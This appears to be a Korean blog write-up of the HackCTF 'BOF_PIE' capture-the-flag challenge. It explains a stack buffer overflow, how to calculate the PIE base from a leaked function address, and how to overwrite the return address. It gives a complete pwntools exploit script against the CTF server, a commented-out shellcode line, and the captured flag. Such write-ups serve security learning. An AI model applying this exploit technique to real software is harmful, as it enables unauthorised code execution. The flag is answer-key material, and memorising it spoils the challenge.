ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • BOF_PIE
    CTF/HackCTF 2021. 1. 21. 16:51

    Disassembly 디스어셈블리


    main()

    main()은 welcome()을 호출하고, Nach...를 출력한다. 따라서 welcome() 내에서 실행 흐름을 조작할 필요가 있다.

    welcome()

    welcome()의 주소를 출력한 뒤, var_12h에 문자열을 입력받는 함수이다. 따라서 스택 버퍼 오버플로우가 발생한다.

    PIE address leak


    바이너리에 NX랑 PIE가 걸려있어 return address를 다른 함수의 주소로 덮는 데 제약이 생긴다. 따라서 PIE base address를 구할 필요가 있고, welcome()의 주소를 출력하는 부분이 있으므로 이를 바탕으로 다른 함수의 주소를 계산해줄 수 있다.

    p.recvuntil("j0n9hyun is ")
    
    welcome = int(p.recvline()[0:10], 16)

    RET Overwrite


    j0n9hyun()

    친절하게도 바이너리에 flag를 읽어와서 출력하는 함수가 있으므로 해당 주소로 덮어주면, RET Overwrite을 통해 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./bof_pie"
    server = "ctf.j0n9hyun.xyz"
    port = 3008
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    # shellcode = asm(shellcraft.execve("/bin/sh",0,0))
    
    p.recvuntil("j0n9hyun is ")
    
    welcome = int(p.recvline()[0:10], 16)
    j0n9hyun = welcome - e.symbols["welcome"] + e.symbols["j0n9hyun"]
    
    log.info("welcome : " + hex(welcome))
    log.info("j0n9hyun : " + hex(j0n9hyun))
    
    payload = b"A"*0x16
    payload += p32(j0n9hyun)
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{243699563792879976364976468837}

    'CTF > HackCTF' 카테고리의 다른 글

    RTL_World  (0) 2021.01.21
    Yes or no  (0) 2021.01.21
    Offset  (0) 2021.01.21
    Simple_Overflow_ver_2  (0) 2021.01.21
    x64 Simple_size_BOF  (0) 2021.01.21

    댓글

Designed by Tistory.